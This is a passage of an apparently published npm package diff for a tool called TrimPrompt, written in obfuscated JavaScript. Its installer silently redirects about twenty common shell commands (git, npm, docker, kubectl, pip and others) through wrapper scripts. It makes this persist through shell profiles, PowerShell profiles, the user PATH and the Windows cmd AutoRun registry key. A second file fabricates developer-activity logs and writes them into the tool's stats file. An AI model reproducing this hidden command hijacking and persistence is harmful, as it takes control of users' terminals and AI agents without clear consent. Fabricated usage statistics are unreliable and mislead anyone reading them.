_0x48e0fe=_0x3daa54(_0x250505),_0x59fe04=0x0;_0x59fe04<_0x48e0fe[_0x3aa256(0x212)];_0x59fe04++)if(_0x48e0fe[_0x59fe04]!==_0x3aa256(0x1fd))__createBinding(_0x4b9a11,_0x250505,_0x48e0fe[_0x59fe04]);}return __setModuleDefault(_0x4b9a11,_0x250505),_0x4b9a11;};}());Object['defineProperty'](exports,a0_0x270dd9(0x1fb),{'value':!![]}),exports[a0_0x270dd9(0x20e)]=installShims,exports[a0_0x270dd9(0x240)]=uninstallShims;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x270dd9(0x208))),os=__importStar(require('os')),SHIMMED_COMMANDS=['ls',a0_0x270dd9(0x22f),a0_0x270dd9(0x1f0),a0_0x270dd9(0x213),a0_0x270dd9(0x229),'rg',a0_0x270dd9(0x267),a0_0x270dd9(0x222),'gh',a0_0x270dd9(0x234),'cargo',a0_0x270dd9(0x205),a0_0x270dd9(0x242),a0_0x270dd9(0x262),'yarn',a0_0x270dd9(0x225),a0_0x270dd9(0x226),a0_0x270dd9(0x20b),a0_0x270dd9(0x235),a0_0x270dd9(0x24a),'go'],PROFILE_MARKER='TrimPrompt\x20Shims\x20PATH';function a0_0x5859(){const _0xc209f4=['\x20\x22$@\x22;\x20fi\x0a','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}','pipe','#!/bin/sh\x0aif\x20command\x20-v\x20trim\x20>/dev/null\x202>&1;\x20then\x20exec\x20trim\x20','__setModuleDefault','Please\x20add\x20this\x20to\x20your\x20shell\x20profile\x20(~/.bashrc,\x20~/.zshrc)\x20manually:\x0a\x20\x20export\x20PATH=\x22',';=%\x22','\x20\x20set\x20\x22PATH=%PATH:','toLowerCase','__createBinding','git',';\x22\x20+\x20$env:PATH\x0a','466816RRTKta','kubectl','docker','get','trim.ps1','grep','755','join','\x0a#\x20',')\x20else\x20(','existsSync','tree',';%PATH%\x22','HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor','6XRbiGt','5pdMDUC','glab','pip','ignore','if\x20exist\x20\x22%~dp0..\x5c..\x5cAppData\x5cRoaming\x5cnpm\x5ctrim.cmd\x22','powershell.exe','TrimPrompt\x20shims\x20successfully\x20installed\x20for\x20','filter','3343087JtbFlR','execFileSync','-NoProfile','\x20%*','export\x20PATH=\x22','uninstallShims','\x0a$env:PATH\x20=\x20\x22','pnpm','.trimprompt','defineProperty','[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27','create','prototype','Failed\x20to\x20install\x20shims:\x20','\x20@args\x20}\x20else\x20{\x20&\x20','pip3','\x27,\x20\x27User\x27)','trim','writable','[SUCCESS]\x20Your\x20system\x20PATH\x20has\x20been\x20automatically\x20and\x20permanently\x20updated\x20to\x20run\x20TrimPrompt\x20in\x20the\x20background.\x0aThis\x20setup\x20persists\x20across\x20system\x20restarts.\x0a\x0a*Note*:\x20Please\x20restart\x20your\x20active\x20terminal\x20window\x20or\x20AI\x20assistant\x20(e.g.\x20Claude\x20Code/Cursor)\x20for\x20the\x20environment\x20changes\x20to\x20take\x20effect.','\x27\x20-Force\x20|\x20Out-Null;\x20Set-ItemProperty\x20-Path\x20\x27','1540GJmPQd','includes','writeFileSync','168ldbucn','getOwnPropertyDescriptor','chmodSync','\x20commands.\x0a\x0a','Failed\x20to\x20uninstall\x20shims:\x20','split','$PROFILE.CurrentUserAllHosts','\x0aexport\x20PATH=\x22','\x20\x22$@\x22;\x20else\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x27s|[^:]*\x5c.trimprompt/shims:||g\x27);\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20','TrimPrompt\x20shims\x20fully\x20uninstalled.\x20All\x20PATH\x20modifications,\x20shell\x20profiles,\x20and\x20registry\x20entries\x20have\x20been\x20cleaned\x20up.','shims','rmdirSync','.zshrc','win32','[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)','npx','push','.cmd','try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27','replace','ruff','message','\x20@args\x20}\x0a','homedir','New-Item\x20-Path\x20\x27','call','cat','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20SilentlyContinue','utf8','.profile','$sig\x20=\x20\x27[DllImport(\x5c\x22user32.dll\x5c\x22,\x20SetLastError\x20=\x20true,\x20CharSet\x20=\x20CharSet.Auto)]\x20public\x20static\x20extern\x20IntPtr\x20SendMessageTimeout(IntPtr\x20hWnd,\x20uint\x20Msg,\x20IntPtr\x20wParam,\x20string\x20lParam,\x20uint\x20fuFlags,\x20uint\x20uTimeout,\x20out\x20IntPtr\x20lpdwResult);\x27;\x20Add-Type\x20-MemberDefinition\x20$sig\x20-Name\x20\x5c\x22Win32\x5c\x22\x20-Namespace\x20\x5c\x22Win32\x5c\x22\x20-PassThru\x20>\x20$null;\x20[IntPtr]$res\x20=\x200;\x20[void][Win32.Win32]::SendMessageTimeout([IntPtr]0xffff,\x200x001A,\x20[IntPtr]::Zero,\x20\x5c\x22Environment\x5c\x22,\x202,\x201000,\x20[ref]$res);','powershell','94545fkpoGb','some','readdirSync','\x20\x20trim\x20','if\x20(Get-Command\x20trim\x20-ErrorAction\x20SilentlyContinue)\x20{\x20&\x20trim\x20','__esModule','\x20&\x20','default','pwsh','\x27\x20-Name\x20AutoRun\x20-Value\x20\x27',':$PATH\x22\x0a','[WARNING]\x20Could\x20not\x20automatically\x20update\x20your\x20system\x20PATH.\x20','1688613EuPYwQ','unlinkSync','\x20\x22$@\x22;\x20else\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x22s|','npm','.bashrc','if\x20exist\x20\x22','path','60Othvpr','hasOwnProperty','pytest','child_process','5259668lPoufZ','installShims','4908726VnEAVS','.bash_profile','powershell\x20-NoProfile\x20-Command\x20\x22','length','read','-Command',':$PATH\x22','platform','1194820vQZFKm'];a0_0x5859=function(){return _0xc209f4;};return a0_0x5859();}function a0_0x4300(_0xa18f87,_0xb4ce15){_0xa18f87=_0xa18f87-0x1ed;const _0x5859a6=a0_0x5859();let _0x430058=_0x5859a6[_0xa18f87];return _0x430058;}function getExecSync(){const _0x4d1e38=a0_0x270dd9;return require(_0x4d1e38(0x20c))['execSync'];}function getExecFileSync(){const _0x78d2f2=a0_0x270dd9;return require(_0x78d2f2(0x20c))[_0x78d2f2(0x23c)];}function ensureProfileContains(_0x3cb769,_0x566be2,_0x220a06){const _0x6e0a7c=a0_0x270dd9;try{const _0x31d167=path['dirname'](_0x3cb769);!fs[_0x6e0a7c(0x22e)](_0x31d167)&&fs['mkdirSync'](_0x31d167,{'recursive':!![]});if(fs[_0x6e0a7c(0x22e)](_0x3cb769)){const _0x535bc2=fs['readFileSync'](_0x3cb769,_0x6e0a7c(0x1f2));if(_0x535bc2[_0x6e0a7c(0x251)](_0x566be2))return;fs['appendFileSync'](_0x3cb769,_0x220a06,'utf8');}else fs[_0x6e0a7c(0x252)](_0x3cb769,_0x220a06,_0x6e0a7c(0x1f2));}catch{}}function removeProfileBlock(_0x6b26c8,_0x283da1){const _0x4672a9=a0_0x270dd9;try{if(!fs[_0x4672a9(0x22e)](_0x6b26c8))return;const _0x17225e=fs['readFileSync'](_0x6b26c8,_0x4672a9(0x1f2));if(!_0x17225e[_0x4672a9(0x251)](_0x283da1))return;const _0x20276f=_0x17225e[_0x4672a9(0x258)]('\x0a'),_0x13ff85=[];let _0x33ac93=![];for(let _0x270715=0x0;_0x270715<_0x20276f[_0x4672a9(0x212)];_0x270715++){if(_0x20276f[_0x270715][_0x4672a9(0x251)](_0x283da1)){_0x33ac93=!![];continue;}if(_0x33ac93){_0x33ac93=![];continue;}_0x13ff85[_0x4672a9(0x263)](_0x20276f[_0x270715]);}const _0x477cfb=_0x13ff85[_0x4672a9(0x22b)]('\x0a')[_0x4672a9(0x266)](/\n{3,}/g,'\x0a\x0a');fs['writeFileSync'](_0x6b26c8,_0x477cfb,_0x4672a9(0x1f2));}catch{}}function collectPowerShellProfiles(){const _0x2ece85=a0_0x270dd9,_0x5913c2=getExecSync(),_0x547024=[],_0x30baff=[[_0x2ece85(0x1f5),'$PROFILE.CurrentUserCurrentHost'],['powershell',_0x2ece85(0x259)]];try{_0x5913c2('pwsh\x20-NoProfile\x20-Command\x20\x22exit\x200\x22',{'stdio':_0x2ece85(0x236)}),_0x30baff['push']([_0x2ece85(0x1fe),_0x2ece85(0x259)]);}catch{}for(const [_0x397c43,_0x2469a9]of _0x30baff){try{const _0x570130=_0x5913c2(_0x397c43+'\x20-NoProfile\x20-Command\x20\x22'+_0x2469a9+'\x22',{'encoding':_0x2ece85(0x1f2)})[_0x2ece85(0x24c)]();_0x570130&&!_0x547024[_0x2ece85(0x1f7)](_0x34e73a=>_0x34e73a[_0x2ece85(0x220)]()===_0x570130['toLowerCase']())&&_0x547024['push'](_0x570130);}catch{}}return _0x547024;}function getBashProfilesWindows(){const _0x3ac711=a0_0x270dd9,_0x3086ed=os['homedir']();return[_0x3ac711(0x206),'.bash_profile']['map'](_0x1a709e=>path[_0x3ac711(0x22b)](_0x3086ed,_0x1a709e));}function getBroadcastCommand(){const _0xc563ca=a0_0x270dd9;return _0xc563ca(0x1f4);}function installShims(){const _0x3de8a8=a0_0x270dd9,_0x342adb=path[_0x3de8a8(0x22b)](os[_0x3de8a8(0x1ed)](),_0x3de8a8(0x243),'shims');try{!fs['existsSync'](_0x342adb)&&fs['mkdirSync'](_0x342adb,{'recursive':!![]});const _0x1171b5=os[_0x3de8a8(0x216)]()==='win32';for(const _0x4a43f4 of SHIMMED_COMMANDS){if(_0x1171b5){const _0x8223f6=path['join'](_0x342adb,_0x4a43f4+_0x3de8a8(0x264)),_0x98261b=process.env.APPDATA?path[_0x3de8a8(0x22b)](process.env.APPDATA,_0x3de8a8(0x205)):'',_0x434037=_0x98261b?_0x3de8a8(0x207)+path[_0x3de8a8(0x22b)](_0x98261b,'trim.cmd')+'\x22':_0x3de8a8(0x237),_0x345563=['@echo\x20off',_0x434037+'\x20(',_0x3de8a8(0x1f9)+_0x4a43f4+_0x3de8a8(0x23e),_0x3de8a8(0x22d),_0x3de8a8(0x21f)+_0x342adb+_0x3de8a8(0x21e),'\x20\x20'+_0x4a43f4+_0x3de8a8(0x23e),')']['join']('\x0d\x0a')+'\x0d\x0a';fs['writeFileSync'](_0x8223f6,_0x345563,_0x3de8a8(0x1f2));const _0x4cebd0=path[_0x3de8a8(0x22b)](_0x342adb,_0x4a43f4+'.ps1'),_0xb83e08=_0x3de8a8(0x1fa)+_0x4a43f4+_0x3de8a8(0x249)+_0x4a43f4+_0x3de8a8(0x269);fs[_0x3de8a8(0x252)](_0x4cebd0,_0xb83e08,_0x3de8a8(0x1f2));const _0x360933=path[_0x3de8a8(0x22b)](_0x342adb,_0x4a43f4),_0x5649eb=_0x342adb['replace'](/\\/g,'/')[_0x3de8a8(0x266)](/^([A-Za-z]):/,(_0x14fb16,_0x26253f)=>'/'+_0x26253f['toLowerCase']()),_0x10fc5d=_0x3de8a8(0x21b)+_0x4a43f4+_0x3de8a8(0x204)+_0x5649eb+':||g\x22);\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20'+_0x4a43f4+_0x3de8a8(0x218);fs[_0x3de8a8(0x252)](_0x360933,_0x10fc5d,_0x3de8a8(0x1f2));}else{const _0x42e283=path[_0x3de8a8(0x22b)](_0x342adb,_0x4a43f4),_0x27f616=_0x3de8a8(0x21b)+_0x4a43f4+_0x3de8a8(0x25b)+_0x4a43f4+_0x3de8a8(0x218);fs[_0x3de8a8(0x252)](_0x42e283,_0x27f616,'utf8'),fs[_0x3de8a8(0x255)](_0x42e283,_0x3de8a8(0x22a));}}let _0x4d0f4c=![],_0x203bf1='';if(_0x1171b5)try{const _0x3a7350=getExecSync(),_0x63acad=_0x3de8a8(0x22c)+PROFILE_MARKER+_0x3de8a8(0x241)+_0x342adb+_0x3de8a8(0x223),_0x19c60b=collectPowerShellProfiles();for(const _0x3df8f0 of _0x19c60b){ensureProfileContains(_0x3df8f0,_0x342adb,_0x63acad);}try{const _0x2dc842=getExecFileSync(),_0x2fe6a0=_0x3de8a8(0x207)+_0x342adb+'\x22\x20set\x20\x22PATH='+_0x342adb+_0x3de8a8(0x230),_0x1f0659=_0x3de8a8(0x231);let _0x3ce7ce='';try{const _0x2cf688='try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27'+_0x1f0659+_0x3de8a8(0x219);_0x3ce7ce=_0x2dc842('powershell.exe',['-NoProfile',_0x3de8a8(0x214),_0x2cf688],{'encoding':_0x3de8a8(0x1f2),'stdio':[_0x3de8a8(0x21a),'pipe',_0x3de8a8(0x236)]})['trim']();}catch{}if(!_0x3ce7ce[_0x3de8a8(0x251)](_0x342adb)){const _0xdff94d=_0x3ce7ce?_0x3ce7ce+_0x3de8a8(0x1fc)+_0x2fe6a0:_0x2fe6a0,_0x3d5a3c=_0x3de8a8(0x1ee)+_0x1f0659+_0x3de8a8(0x24f)+_0x1f0659+_0x3de8a8(0x1ff)+_0xdff94d+'\x27';_0x2dc842(_0x3de8a8(0x238),[_0x3de8a8(0x23d),_0x3de8a8(0x214),_0x3d5a3c],{'stdio':_0x3de8a8(0x236)});}}catch{}try{const _0x19da4e=_0x342adb[_0x3de8a8(0x266)](/\\/g,'/')[_0x3de8a8(0x266)](/^([A-Za-z]):/,(_0x1f8d4a,_0x2ebeb7)=>'/'+_0x2ebeb7[_0x3de8a8(0x220)]()),_0x1092de=_0x3de8a8(0x22c)+PROFILE_MARKER+_0x3de8a8(0x25a)+_0x19da4e+_0x3de8a8(0x200),_0x229d5a=getBashProfilesWindows();let _0x16016a=![];for(const _0x3e5c87 of _0x229d5a){fs[_0x3de8a8(0x22e)](_0x3e5c87)&&(ensureProfileContains(_0x3e5c87,_0x19da4e,_0x1092de),_0x16016a=!![]);}!_0x16016a&&ensureProfileContains(_0x229d5a[0x0],_0x19da4e,_0x1092de);}catch{}const _0x2c570d=_0x3de8a8(0x261),_0x1a5445=_0x3a7350(_0x3de8a8(0x211)+_0x2c570d+'\x22',{'encoding':_0x3de8a8(0x1f2),'stdio':['pipe','pipe',_0x3de8a8(0x236)]})[_0x3de8a8(0x24c)]();if(!_0x1a5445['includes'](_0x342adb)){const _0x471934=_0x342adb+';'+_0x1a5445,_0x2c3f4f=_0x471934[_0x3de8a8(0x266)](/'/g,'\x27\x27'),_0x3b71e4=_0x3de8a8(0x245)+_0x2c3f4f+_0x3de8a8(0x24b);_0x3a7350(_0x3de8a8(0x211)+_0x3b71e4+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x3de8a8(0x236)});}const _0x5800d0=path[_0x3de8a8(0x22b)](process.env.APPDATA||'',_0x3de8a8(0x205),_0x3de8a8(0x228));if(fs['existsSync'](_0x5800d0))try{fs[_0x3de8a8(0x203)](_0x5800d0);}catch{}_0x4d0f4c=!![];}catch(_0x5480df){_0x203bf1='Please\x20add\x20the\x20following\x20path\x20to\x20the\x20front\x20of\x20your\x20User\x20PATH\x20environment\x20variable\x20manually:\x0a\x20\x20'+_0x342adb;}else try{const _0x467ceb=_0x3de8a8(0x23f)+_0x342adb+_0x3de8a8(0x200),_0x2c0a39=os[_0x3de8a8(0x1ed)](),_0x5cb147=[_0x3de8a8(0x206),_0x3de8a8(0x25f),_0x3de8a8(0x210),'.profile'];let _0x6cd33a=![];for(const _0x5e2acf of _0x5cb147){const _0x583536=path[_0x3de8a8(0x22b)](_0x2c0a39,_0x5e2acf);fs['existsSync'](_0x583536)&&(ensureProfileContains(_0x583536,_0x342adb,'\x0a#\x20'+PROFILE_MARKER+'\x0a'+_0x467ceb),_0x6cd33a=!![]);}if(!_0x6cd33a){const _0x308e57=path[_0x3de8a8(0x22b)](_0x2c0a39,_0x3de8a8(0x206));ensureProfileContains(_0x308e57,_0x342adb,_0x3de8a8(0x22c)+PROFILE_MARKER+'\x0a'+_0x467ceb);}_0x4d0f4c=!![];}catch(_0x1a7704){_0x203bf1=_0x3de8a8(0x21d)+_0x342adb+_0x3de8a8(0x215);}const _0x2c1c03=_0x3de8a8(0x239)+SHIMMED_COMMANDS[_0x3de8a8(0x212)]+_0x3de8a8(0x256),_0x34152b=_0x4d0f4c?_0x2c1c03+_0x3de8a8(0x24e):_0x2c1c03+_0x3de8a8(0x201)+_0x203bf1;return{'success':!![],'pathDir':_0x342adb,'message':_0x34152b};}catch(_0x1ac53b){return{'success':![],'pathDir':_0x342adb,'message':_0x3de8a8(0x248)+_0x1ac53b[_0x3de8a8(0x268)]};}}function uninstallShims(){const _0x54c3f3=a0_0x270dd9,_0x396098=path['join'](os[_0x54c3f3(0x1ed)](),_0x54c3f3(0x243),_0x54c3f3(0x25d)),_0x41b48d=os[_0x54c3f3(0x216)]()===_0x54c3f3(0x260);try{if(_0x41b48d){const _0x3709c1=getExecSync();try{const _0x32e4d7=getExecFileSync(),_0x4604b2='HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor',_0x2b69e0=_0x54c3f3(0x265)+_0x4604b2+_0x54c3f3(0x219),_0x3c9016=_0x32e4d7(_0x54c3f3(0x238),[_0x54c3f3(0x23d),_0x54c3f3(0x214),_0x2b69e0],{'encoding':'utf8','stdio':[_0x54c3f3(0x21a),_0x54c3f3(0x21a),_0x54c3f3(0x236)]})[_0x54c3f3(0x24c)]();if(_0x3c9016[_0x54c3f3(0x251)](_0x396098)){const _0x1351eb=_0x3c9016[_0x54c3f3(0x258)](_0x54c3f3(0x1fc))['filter'](_0x2ddfb0=>!_0x2ddfb0[_0x54c3f3(0x251)](_0x396098));if(_0x1351eb['length']===0x0){const _0x1cf4f8='Remove-ItemProperty\x20-Path\x20\x27'+_0x4604b2+_0x54c3f3(0x1f1);_0x32e4d7(_0x54c3f3(0x238),[_0x54c3f3(0x23d),_0x54c3f3(0x214),_0x1cf4f8],{'stdio':_0x54c3f3(0x236)});}else{const _0x50d39e=_0x1351eb['join'](_0x54c3f3(0x1fc)),_0x518900='Set-ItemProperty\x20-Path\x20\x27'+_0x4604b2+'\x27\x20-Name\x20AutoRun\x20-Value\x20\x27'+_0x50d39e+'\x27';_0x32e4d7('powershell.exe',[_0x54c3f3(0x23d),_0x54c3f3(0x214),_0x518900],{'stdio':'ignore'});}}}catch{}try{const _0x520b3c=collectPowerShellProfiles();for(const _0x3ce9c8 of _0x520b3c){removeProfileBlock(_0x3ce9c8,PROFILE_MARKER);}}catch{}try{for(const _0x59c14a of getBashProfilesWindows()){removeProfileBlock(_0x59c14a,PROFILE_MARKER);}}catch{}try{const _0xae0904=_0x54c3f3(0x261),_0x2b0725=_0x3709c1(_0x54c3f3(0x211)+_0xae0904+'\x22',{'encoding':_0x54c3f3(0x1f2),'stdio':['pipe','pipe',_0x54c3f3(0x236)]})['trim']();if(_0x2b0725[_0x54c3f3(0x251)](_0x396098)){const _0x3b7b58=_0x2b0725[_0x54c3f3(0x258)](';')[_0x54c3f3(0x23a)](_0x3d57e3=>_0x3d57e3[_0x54c3f3(0x24c)]()['toLowerCase']()!==_0x396098[_0x54c3f3(0x220)]())[_0x54c3f3(0x22b)](';'),_0x5c97df=_0x3b7b58[_0x54c3f3(0x266)](/'/g,'\x27\x27'),_0x20d312='[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27'+_0x5c97df+'\x27,\x20\x27User\x27)';_0x3709c1(_0x54c3f3(0x211)+_0x20d312+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x54c3f3(0x236)});}}catch{}}else{const _0x33dd55=os['homedir'](),_0x44ac75=[_0x54c3f3(0x206),'.zshrc',_0x54c3f3(0x210),_0x54c3f3(0x1f3)];for(const _0x59484c of _0x44ac75){removeProfileBlock(path['join'](_0x33dd55,_0x59484c),PROFILE_MARKER);}}if(fs[_0x54c3f3(0x22e)](_0x396098)){const _0x31df22=fs[_0x54c3f3(0x1f8)](_0x396098);for(const _0x5dbf5b of _0x31df22){fs[_0x54c3f3(0x203)](path[_0x54c3f3(0x22b)](_0x396098,_0x5dbf5b));}fs[_0x54c3f3(0x25e)](_0x396098);}return{'success':!![],'message':_0x54c3f3(0x25c)};}catch(_0x285e04){return{'success':![],'message':_0x54c3f3(0x257)+_0x285e04['message']};}}
package/simulate.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0xcd25ff=a0_0xc994;(function(_0x2a1e4e,_0x3b0ab0){const _0x70f6f8=a0_0xc994,_0x523b00=_0x2a1e4e();while(!![]){try{const _0x4acdfd=-parseInt(_0x70f6f8(0xee))/0x1*(parseInt(_0x70f6f8(0x108))/0x2)+-parseInt(_0x70f6f8(0x10e))/0x3*(parseInt(_0x70f6f8(0x112))/0x4)+parseInt(_0x70f6f8(0x10c))/0x5+parseInt(_0x70f6f8(0x104))/0x6*(parseInt(_0x70f6f8(0x113))/0x7)+-parseInt(_0x70f6f8(0xf9))/0x8+-parseInt(_0x70f6f8(0x11b))/0x9+parseInt(_0x70f6f8(0x11d))/0xa;if(_0x4acdfd===_0x3b0ab0)break;else _0x523b00['push'](_0x523b00['shift']());}catch(_0x41eb2e){_0x523b00['push'](_0x523b00['shift']());}}}(a0_0x3233,0xbe873));Object[a0_0xcd25ff(0xe0)](exports,a0_0xcd25ff(0xde),{'value':!![]});const tracker_1=require(a0_0xcd25ff(0xfa));console[a0_0xcd25ff(0x11c)](a0_0xcd25ff(0xe9));const models=[a0_0xcd25ff(0xff),'gpt-4o',a0_0xcd25ff(0x11e),a0_0xcd25ff(0xe2),'gemini-1-5-flash',a0_0xcd25ff(0xf8)],commands=[{'cmd':a0_0xcd25ff(0xe1),'raw':a0_0xcd25ff(0x109)[a0_0xcd25ff(0xf0)](0x32),'comp':a0_0xcd25ff(0x103),'exitCode':0x0},{'cmd':a0_0xcd25ff(0x114),'raw':a0_0xcd25ff(0x100)+a0_0xcd25ff(0x11a)[a0_0xcd25ff(0xf0)](0x28)+a0_0xcd25ff(0x110),'comp':a0_0xcd25ff(0x11f),'exitCode':0x0},{'cmd':a0_0xcd25ff(0xe6),'raw':'npm\x20warn\x20deprecated\x20uuid@3.4.0:\x20Please\x20upgrade...\x0a'+'added\x2084\x20packages,\x20changed\x2012\x20packages,\x20and\x20audited\x2096\x20packages\x20in\x203s\x0a'+'found\x200\x20vulnerabilities\x0a','comp':a0_0xcd25ff(0x10a),'exitCode':0x0},{'cmd':a0_0xcd25ff(0xf4),'raw':a0_0xcd25ff(0x10d)+'upload:\x20dist/hub-index.html\x20to\x20s3://trimprompt-assets/hub-index.html\x0a'+'upload:\x20dist/cli.js\x20to\x20s3://trimprompt-assets/cli.js\x0a'+a0_0xcd25ff(0xe4),'comp':a0_0xcd25ff(0xeb),'exitCode':0x0},{'cmd':a0_0xcd25ff(0x105),'raw':a0_0xcd25ff(0xe7)+a0_0xcd25ff(0xf3)+'trimprompt-sync-324db87d1-p8q2e\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a'+a0_0xcd25ff(0x111)+a0_0xcd25ff(0xe5),'comp':'kubectl\x20get\x20pods:\x20trimprompt-api\x20(Running),\x20trimprompt-sync\x20(Running),\x20redis-master\x20(Running),\x20postgres-db\x20(Running)','exitCode':0x0},{'cmd':a0_0xcd25ff(0xfe),'raw':'Collecting\x20tensorflow\x0a\x20\x20Downloading\x20tensorflow-2.15.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl\x20(475.2\x20MB)\x0a'+a0_0xcd25ff(0x118)+'Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3\x0a','comp':a0_0xcd25ff(0x116),'exitCode':0x0},{'cmd':a0_0xcd25ff(0xea),'raw':a0_0xcd25ff(0xe3)+a0_0xcd25ff(0xf1),'comp':'git\x20log:\x205\x20commits\x20(feat:\x20add\x20dynamic\x20token\x20costs,\x20fix:\x20adjust\x20margins...)','exitCode':0x0},{'cmd':a0_0xcd25ff(0x101),'raw':'src/cli.ts:12:3\x20-\x20warning:\x20unused\x20import\x0a'+a0_0xcd25ff(0x10b)+'✖\x202\x20problems\x20(0\x20errors,\x202\x20warnings)\x0a','comp':a0_0xcd25ff(0xf2),'exitCode':0x0}],startTime=Date[a0_0xcd25ff(0xdf)]()-0x36ee80;function a0_0xc994(_0x5c1ade,_0x246246){_0x5c1ade=_0x5c1ade-0xde;const _0x323302=a0_0x3233();let _0xc99453=_0x323302[_0x5c1ade];return _0xc99453;}for(let i=0x0;i<0xc;i++){const model=models[i%models[a0_0xcd25ff(0x106)]],commandItem=commands[Math[a0_0xcd25ff(0xec)](Math['random']()*commands[a0_0xcd25ff(0x106)])];process.env.TRIMPROMPT_MODEL=model;const timestamp=new Date(startTime+i*0x3d090)[a0_0xcd25ff(0xfc)](),log=tracker_1['tracker']['logExecution'](commandItem[a0_0xcd25ff(0x117)],commandItem[a0_0xcd25ff(0xfd)],commandItem['comp'],commandItem['exitCode']),logs=tracker_1[a0_0xcd25ff(0x10f)][a0_0xcd25ff(0x107)]();logs[a0_0xcd25ff(0x106)]>0x0&&(logs[logs[a0_0xcd25ff(0x106)]-0x1][a0_0xcd25ff(0x119)]=timestamp,require('fs')[a0_0xcd25ff(0xe8)](require(a0_0xcd25ff(0xf6))[a0_0xcd25ff(0x115)](require('os')[a0_0xcd25ff(0x102)](),a0_0xcd25ff(0xef),a0_0xcd25ff(0xed)),JSON[a0_0xcd25ff(0xf5)](logs,null,0x2),a0_0xcd25ff(0xf7)));}console[a0_0xcd25ff(0x11c)](a0_0xcd25ff(0xfb));function a0_0x3233(){const _0x231820=['139407aWoVaV','.trimprompt','repeat','commit\x20f6e5d4c3b2a1\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2013:30:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20fix:\x20adjust\x20margins\x20on\x20visual\x20graph','npm\x20run\x20lint:\x20✖\x202\x20warnings','trimprompt-api-567fdb7d6-x8w9q\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','aws\x20s3\x20sync\x20dist/\x20s3://trimprompt-assets','stringify','path','utf8','claude-3-opus','3446456sWPKMp','./tracker','workflow\x20simulation\x20complete!\x2012\x20additional\x20commands\x20logged.','toISOString','raw','pip\x20install\x20tensorflow\x20pandas\x20numpy','claude-3-5-sonnet','running\x2045\x20tests\x0atest\x20tests::db_connection\x20...\x20ok\x0atest\x20tests::auth_handler\x20...\x20ok\x0a','npm\x20run\x20lint','homedir','diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x20(50\x20insertions,\x200\x20deletions)','960198KKqhFc','kubectl\x20get\x20pods\x20-n\x20production','length','getLogs','2cJUOxi','diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x0aindex\x201234..5678\x20100644\x0a---\x20a/src/cli.ts\x0a+++\x20b/src/cli.ts\x0a@@\x20-10,6\x20+10,12\x20@@\x0a+\x20//\x20Added\x20new\x20telemetry\x20features\x0a+\x20console.log(\x22Initializing\x20sync\x20daemon...\x22);\x0a+\x20startSync();\x0a','npm\x20install:\x20added\x2084\x20packages,\x20audited\x2096\x20packages.\x200\x20vulnerabilities.','src/tracker.ts:45:9\x20-\x20warning:\x20console.log\x20should\x20be\x20removed\x0a','1891840DweVnS','upload:\x20dist/index.html\x20to\x20s3://trimprompt-assets/index.html\x0a','31551gGkcKy','tracker','\x20...\x20ok\x0atest\x20result:\x20ok.\x2045\x20passed;\x200\x20failed;\x200\x20ignored;\x200\x20measured;\x200\x20filtered\x20out','redis-master-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','248fjCUzC','28ITWLmL','cargo\x20test','join','pip\x20install:\x20Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3','cmd','\x20\x20Installing\x20build\x20dependencies\x20...\x20done\x0a','timestamp','test\x20tests::test_case_','1703934WlXxyO','log','11734970EawFFq','gpt-4o-mini','cargo\x20test:\x2045\x20passed,\x200\x20failed.','__esModule','now','defineProperty','git\x20diff\x20main','gemini-1-5-pro','commit\x20a1b2c3d4e5f6\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2014:00:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20feat:\x20add\x20dynamic\x20token\x20costs\x0a\x0a','Completed\x203\x20of\x203\x20assets\x20successfully.','postgres-db-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','npm\x20install\x20lodash\x20express\x20uuid\x20react','NAME\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20READY\x20\x20\x20STATUS\x20\x20\x20\x20RESTARTS\x20\x20\x20AGE\x0a','writeFileSync','Starting\x20simulation\x20of\x20developer\x20workflow\x20activity...','git\x20log\x20-n\x205','aws\x20s3\x20sync:\x203\x20assets\x20uploaded\x20successfully.','floor','stats.json'];a0_0x3233=function(){return 